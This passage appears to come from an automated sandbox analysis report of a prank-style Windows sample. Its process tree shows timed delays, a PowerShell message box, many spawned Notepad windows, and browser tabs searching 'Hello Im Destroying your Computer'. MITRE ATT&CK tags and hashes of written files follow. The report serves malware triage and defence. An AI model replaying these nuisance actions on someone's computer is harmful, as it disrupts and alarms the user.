      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=7216,i,18291549477415840221,410647582101430126,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:1
      4⤵
      PID:2036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=7452,i,18245820877151288612,6035901523508008793,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=7476 /prefetch:1
      4⤵
      PID:6780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=6716,i,10544620101250703005,14684854446375234153,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:1
      4⤵
      PID:7120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,8496850014012642155,13927947086742814248,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:14
      4⤵
      PID:6444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,824648942512177181,11047946937764712361,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
      4⤵
      PID:260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7732,i,12413562697457167447,17694556004351856394,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=7752 /prefetch:14
      4⤵
      PID:4476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,8324772589783992190,348915423956320524,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:14
      4⤵
      PID:4692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5368,i,14398822776340137176,9148192119643030568,262144 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4652
- - C:\Windows\system32\timeout.exe
    timeout /t 8 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $result = [System.Windows.Forms.MessageBox]::Show('Btd6: Pop bloons.','Hint',[System.Windows.Forms.MessageBoxButtons]::YesNo,[System.Windows.Forms.MessageBoxIcon]::Question); if ($result -eq [System.Windows.Forms.DialogResult]::Yes) { exit 0 } else { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/app/960090/Bloons_TD_6/
    3⤵
    PID:4216
- - C:\Windows\system32\timeout.exe
    timeout /t 8 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5584
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3656
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5392
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5676
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:1492
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:1444
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4120
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:2976
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4416
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4408
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5600
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6076
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3032
- - C:\Windows\system32\timeout.exe
    timeout /t 9 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.google.com/search?q=Hello0Im0Destroying0your0Computer
    3⤵
    PID:6540
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:6732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.google.com/search?q=Hello0Im0Destroying0your0Computer
    3⤵
    PID:6984
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:7088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.google.com/search?q=Hello0Im0Destroying0your0Computer
    3⤵
    PID:6752
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:6768
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3208
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:6880
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4308
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2204

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:904

C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:6032

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:4068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:6456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:6636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:6840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ee00825bbd5a4f21308ad2e10e5a9d3c4512f07fbd288ec8ac76788de6019e25
MD5 c3584e6bc22b3ad2f168ede48d20a993
SHA1 ffb4ecef8f65638ca17e16a32806195193977c7e
SHA512 5fd777359305e67e9f30fc404af9013a876846b1d6db271fa73dfcf2ee22fb25a8e26d4d0c970cc3a8219df11038dc6b4c2c411db652593bda1c3d7643753c0b
TLSH
T18AD02B7637C40404C0D0747621F34602D530C520584C81088801B03CCC207C3010A8DB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c80f71026fa07cc9b3e69c8779d4b4b40710cf7bc2893b740943db0d0f79591a
MD5 590eca05f11ec72644a09f205b548fbc
SHA1 c6521700bee3b500259ee3a70292b90201f20597
SHA512 fddd457c35c61ceb727f99bd39f55314cdeb7d062798c573a377675121f972ed95109fec329f911c502139a1794b70e5a98a57dd3b21b5a70e6518890a361f66
TLSH
T1E7D02B7A37C40404C0D0747221F24602D530C520AC4C81088801702CCC207C3010B8EF
MD5 SHA1 SHA512 TLSH

Submit Download

f_0000bf

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000bf
Size 38KB
SHA256 7165713d3e1a610399471a5e93d5677508f62ef072c1151e72273bf4bd54f916
MD5 9436affc97843765a966b3568fa7e5ec
SHA1 7bfda74bb30589c75d718fbc997f18c6d5cc4a0b
SHA512 473ec3a843c33e18d6d194651fe11353fcd03a7959225faeabf8c77484155ea6a7bccb72dbaf2093ed53c408faa3be9f6fc907f7a5ddf8223375f9d09b504456
SSDEEP 768:eUEh2+iKBVQbBhu8vjenqz2Ez6Y/AxHLEaP72sV9qKYbDblXqhP8qwFSE3uk:eUEEoBVQDjeQaLnP2pfZTqgSEB
TLSH
T11703F112148F7FA1C244F224A4EFE416ACC3F565ABA15E6980B8B7C7010E3C657A46FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000c1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000c1
Size 82KB
SHA256 7a6f21721cf7a54d8c517ee4b13105dd9cebefd69c73df6b5b0bcbe6cd17f493
MD5 8148326fce587535de762f006257955a
SHA1 8ff00d217f6d5ab1d78ff1028ccb099a0863275f
SHA512 9ce3f942d4f916b7d98618d345f389dad1cea9aafb65e31e3c9fa1730c3b50d84ed815fce9405b2ffec468e4ce361129ad6ad80c97398520a6c8db3b0fb8b30d
SSDEEP 1536:TP1iF3C+CyRfnF9Hsa5YtplkbEEoIbw8i/6E09P/QOz+DWWpro05F5aUXADA3P:z1CbCyt7K3kbEhF8iCTP/QsrWpHT5aWH
TLSH
T1308312F21CF1AE1573943CC9AD09213508D7EDE54CCE6AC0FE19693C21B29B73A1E628
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000c3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000c3
Size 436KB
SHA256 0b320d2cf00e9215763a5377904e2301b2edb7a5d299bd319259714cf8bcd9a9
MD5 38e965609b7e0769e6754549cfa3c2fd
SHA1 8ef9e62fa3ae6d8b371f5a9e9344a6cdf31515fe
SHA512 18cff962b979abf3e3d06261422f35502463a0e196aa0cf801cadcff8833a83f20c9e9f22fb3133041e406fdf2304088a0a5eaa4bbb8aff07ab15a0c1b46b0e4
SSDEEP 6144:HT+7EhQjYpz+XUGr9+7Km54TxcjJJEWv6p0qOJ7kuKtAiDL6GnkES7+S8HBWzDi2:6vj0iUI9EKFEJdU0p7riDxw7L8oviJ3c
TLSH
T147942367DF08D99BDA158361EA30EBDD1158EB6EE00A3CC844BB462CE54C0F9F6913C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 ed1c9ec399770f68bb128a8b498e1592e825829eb9b6df1214353ab3044fef81
MD5 21ab237279e5ad3355555158d5f06d66
SHA1 92d06131fd4339fb393c664e54c22f553c73c305
SHA512 075fd2fe1ff199e32ad453b6a66df9e3d1aa71182111bed008c527b4f110a566176fb61050b583d948aeb37535767715cca8674df56f486da093497bf726f1d8
SSDEEP 48:oBOJVwoCfj37bMvKlyQUT4gEIGhnerDvg/XpHcgE+6tKo:b12bkvKKh6hywZsx
TLSH
T19C91F9B183A414E6EF62C47270D0A96072EAC45D824FAF5BC5F66EBA5903FC905F241F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5b2fd6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5b2fd6.TMP
Size 2KB
SHA256 8fc73b9abe45f0c43cbe567bf3f432b7d1a17b098f986f586b6e7017131c09a3
MD5 323160b9af9b58b6c8b15d373280e0c5
SHA1 60871e51ca12552e8bae4f20915ba9a59c0c3e9d
SHA512 b1e841e3ef3f9fb0f2da0201e9915819873a1e2c0a0d2df1ac2c689219a9dcbf9c898f757ef73bb4c751a2b664bd7024ec6339f8e1f6638d7bac174463ec2590
TLSH
T13341B972833018E5DBA1C5B664E0D25832F4C09DC70FAE9ED0F85DBA4A02F4856F212F
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 9KB
SHA256 ce8843ead8b46253d3796b3f352275265b07e203be8185147ef95ebc9c1a03b3
MD5 8e5849131b6c2260be448b0cfc6d38f9
SHA1 48b9416f2361fa4c8dfa2d0300ae5acbe04afe7c
SHA512 fb47d471a18846b8b6e3b291af99317717907a8ff7426d71670c6f5ea665c7eb5be4ccc006efdf761f0041d96736aa5a14dff16df05536f9046c03d179e5daf1
SSDEEP 192:D0slqv0pAholwEmjVCjhn7TViY1Ig4/iComTiXnGcevDO3t5Vo/zsNMt:D0slqv0pAholwEmjVC57TViY1Ig4/iCJ
TLSH
T1EC1277B783E4C62DD91156F8EB187E2FCE6D0A24432C3C6AC8D5AF1B93E2471D20165E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

000001.dbtmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Platform Notifications\000001.dbtmp
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 76572788feb02ab00e9f715fde31483757de9b24ce2d0a0f272e31f86d6ce8d6
MD5 f3194a21f65b87ae56d5e33ea4a51eac
SHA1 f8345de47ff3fccc8880cd69b9885650cb7f546e
SHA512 2b194c479c78a0f4dd0c9ebe800ff225862fb0b60a5fc4ccda1caf2d7bdf581c53852b981f881fe696c8f1d0bd0c12cf5436ed80e6a7a3521acfbf5f4851dbe2
SSDEEP 192:sxReRaCA/fAsAYsZJtdzoA8pi/g6+WNIYZFL8JGOIgtJ:sxRebA/fAsAYSJtQi/5ISA3
TLSH
T1F932D5166E28993B5CC7D21DBB65BF93D6F95032A1902A48F7FC860C54EB6DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 e13a858b9721266e62eb0cc84c45406ffe0c5dbdaed32265dd699b66f91a7f16
MD5 9b5fac276e66246e753984f82f949af9
SHA1 1eb528a78baaf70b585c10caee569be2c4b1fa57
SHA512 81fa1291d4e12fcb57f4c276f64d6b2d76426de904d34b450b7d98441272509852c609a7d20c838e2803cb06c850cced9b15982a9b9b7789dec8ca86a07e6f0e
SSDEEP 192:sxRJRaCA/fAsjYsZJtnzoA8p3s/g6+WN7EPM/YZFLHJGOIgD8J:sxRJbA/fAsjYSJtOc/57H/SZE
TLSH
T18942C5166A289D3B5CCBD21DBB55BF93D6F95032A1902E48A7FC870C54EB6DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 32fb1cc5e6e448d2f84f54010f5d32642132fe97ce9184d813e24e90801fda44
MD5 93e3e00e8fcacf9987920293092b4715
SHA1 d4b3dc86fc941c6764b19ff2883edc1b7ed74a8f
SHA512 d1442504aa1c81ab51b3d2c18912256d7ff22277129cb8814cca4779b8fdeefe85a228e37d99d847f77273c22281a4847fc8e1131777bc9733bf284dbed38dc9
SSDEEP 192:sxRJRaCA/fAsjtsZJtNzoA8pF6Njcs/g6+WN7En0A+NU29/BtZFLjJGOIgDyJ:sxRJbA/fAsjtSJtAS/57fnj/z1i
TLSH
T16152C65769285E3B5CC7D219BA55BF97E6F99036A1901E48B7FCCB0C10EB6DD210380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 40cfee70817af4def39eb72847b9939f2d149c1137fc06c645e04ea9aefb4b2f
MD5 7b432905c2ea397d7b67c31c20d94f8a
SHA1 f65844df55ac03494272fdd079138f9c02b48895
SHA512 32115cea04276551843058b238b20381f08c93191485d105ac67342b517bb66d2cef2fb131d0185aacc7a0c3c2b19e6c3d18880177e52407bec0fdc9171a802f
SSDEEP 768:K80Ep67pLuL7FwWgNhfVN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVc/owLWGroL06wZ:K80EpSE7FwWgNhfVNu1jav/ogW9LDih
TLSH
T160D2D97B640DCB7E4F804ADDAC197E9B6DA802CB96D8CD4047FE845C02C6BEB511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 214B
SHA256 71987d612ab28d66c769b92337a634a1a7b0295720299971334b29049611394b
MD5 d7ab7b6ed701174c11b682c7b240d148
SHA1 17e984d402f74979e975c6e0725c0c5e8030a3da
SHA512 8dc660cb163600ffd13e9a0a2244b90b985101e7b8ad07ca8b76dec61ce22bd3cd652cb8d47ec17e32269368e3b5a3e8789bc3367e844693dcf7268a52587375
TLSH
T196D022FA4832486A2B30EA80103812CD5C4BDC19DCC5CCF8D804F05A32BCA03C902A3B
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 130B
SHA256 0b1d9ee492ad4afa4e04e1b82421f4be25d8d4ee2bf418d4e46deef28ea05e93
MD5 e138800410afe5c059167c85eefe55fe
SHA1 d4b340ddc0dcc32500c537bc4ffa00769d400eda
SHA512 c33415f8962afcd1a815aca375fd221c852cda5c2477421c9551a1f86b407607df1058892bc9db4de6804392f1de66d76d8ffe16e43ced246b39b33ec9b4cc6e
TLSH
T1D2C09BEA041049560774ABC5113853DD9D4B815DDCC5CDFCE408900531789138903537
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe5a6776.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe5a6776.TMP
Size 137B
SHA256 a727510b8c796e20d8fde50cfa69bcc29558bd9876327f0adeb1fd64dd87809c
MD5 77dcd6e6c00455c238b8b20bacfb6b66
SHA1 809d846191b5804a0d92e5d762e6b0617e9d28c8
SHA512 765a187124dbc61ce617320b1b50faba24de14ee802ed2330434cbd4498927ff96cf46b7049acbbbbbacb9bbcbf788dfac61713a99e1a32d5391a65615e36a14
TLSH
T123C09BE604104956077166C5113853DD9D5B8C5DDCC5CDFCE50DB045717C913CD06537
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 b54be91aa38ebfce7886ed62b8075eb202975740d5b9bcd1ffbc0b21e57a7573
MD5 ed93193103793c1c4e55b637d2a7ebcd
SHA1 c9e0d0eaf205701d541166050cdaaeb96d24b8c8
SHA512 e5ef6eabe28331ec6867f9d4d63bfd76878a2bb40fe87db8c417a83c7e5dc748479dad2ed281435dd0e06ab7da051b65d40f636bf82a42de9ba658cfd08c7d75
TLSH
T18CA0026441432411C58056F02A51524C72D2DFA0C5611A0190ACC0CAEBA1241620A480
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5ac2d4.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5ac2d4.TMP
Size 48B
SHA256 ff84ecd7bef5b7adac46b2c564dac5c5926ec257025722aa1d6119d7ddab51d7
MD5 6a37a76583ce2b00c7cf195696f11f3c
SHA1 44f62c6533fc98624048d30a872a4106bdbda1a7
SHA512 9491ed8b6a17d11d0bc04a3f8d9615056a1cf60d96f05c05c45713b4344030bcd23de465802806f344f08308365a0ae0b4add2b6fdb3e5094f32109cffe13873
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 96B
SHA256 0e2f6a4135f867441b95611e21c7349164f868941dd47a83ff0f81e22e519961
MD5 fddd5b9e6eb9e86f8a113f9d35322d62
SHA1 9600d638ba3ba9624d1f7760fa9ad854f6c525bb
SHA512 cccb2f77514e9e86bf0eff0b33cfdd6ac91c7397f167d79b88bc47b34ad3523bb5e4f9badd89ee02c18239cf9c68cf403f9b4ddb291eb37c276cf3ee0b94a63c
TLSH
T1A3B0222002080803CC0003F003E20C80B3300CC303C3E0038AF083A08C0C2020B20333
MD5 SHA1 SHA512 TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5ac2e4.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5ac2e4.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 83d3ac008f686cd9f40e5996725131cb703c1a6c21d5c39f799457be1744fcee
MD5 8bedcc862c687c38332f4c612a660d88
SHA1 f46150c09d779e906bd2f8d11030853ae93cc409
